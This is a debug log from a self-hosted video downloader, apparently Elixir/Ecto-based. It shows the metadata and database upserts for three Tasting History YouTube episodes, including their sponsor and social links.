[debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1141, "filename" => "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", "id" => "J0OHUwVLPdM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=J0OHUwVLPdM", "playlist_index" => 12, "timestamp" => 1768320029, "title" => "The Pastry War - When France invaded Mexico over pastry", "upload_date" => "20260113"} 02:53:26.135 [debug] QUERY OK source="sources" db=0.1ms idle=141.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:26.135 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.137 [debug] QUERY OK source="media_items" db=1.3ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 16:00:29Z], 3] 02:53:26.160 [debug] QUERY OK source="media_items" db=22.6ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "3f8c91e3-1ec6-4bab-9fea-87e556c04874", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, 1141, false, 12, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, false, 3, [], 98, ~U[2026-01-13 16:00:29Z], ~U[2026-04-01 06:53:26Z], ~U[2026-04-01 06:53:26Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", 1141, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, 3, ~U[2026-01-13 16:00:29Z]] 02:53:26.161 [debug] QUERY OK source="sources" db=0.3ms idle=26.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.161 [debug] QUERY OK source="media_profiles" db=0.2ms idle=26.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:26.162 [debug] QUERY OK source="media_items" db=0.3ms idle=26.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6875] 02:53:26.162 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1031, "filename" => "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", "id" => "cQYswc4-dvU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cQYswc4-dvU", "playlist_index" => 13, "timestamp" => 1767715265, "title" => "Beef Bourguignon for the French Peasants from 1885", "upload_date" => "20260106"} 02:53:26.163 [debug] QUERY OK source="sources" db=0.3ms idle=25.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:26.163 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.165 [debug] QUERY OK source="media_items" db=1.4ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 16:01:05Z], 3] 02:53:26.167 [debug] QUERY OK source="media_items" db=1.1ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "a1dbfbab-55fc-4038-91bb-5a3ed4e5a973", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, 1031, false, 13, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, false, 3, [], 98, ~U[2026-01-06 16:01:05Z], ~U[2026-04-01 06:53:26Z], ~U[2026-04-01 06:53:26Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", 1031, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, 3, ~U[2026-01-06 16:01:05Z]] 02:53:26.167 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.167 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:26.168 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6408] 02:53:26.168 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "duration" => 1036, "filename" => "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", "id" => "1fDKx1CgcXs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1fDKx1CgcXs", "playlist_index" => 14, "timestamp" => 1767110406, "title" => "Feeding A Roman Centurion - Pork & Puls", "upload_date" => "20251230"} 02:53:26.169 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:26.169 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.171 [debug] QUERY OK source="media_items" db=1.3ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 16:00:06Z], 3] 02:53:26.173 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "ff04231a-1dec-44cc-8134-850875d00d6a", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, 1036, false, 14, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, false, 3, [], 98, ~U[2025-12-30 16:00:06Z], ~U[2026-04-01 06:53:26Z], ~U[2026-04-01 06:53:26Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", 1036, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, 3, ~U[2025-12-30 16:00:06Z]] 02:53:26.173 [debug] QUERY OK source="sources" db=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.173 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:26.174 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5927] 02:53:26.174 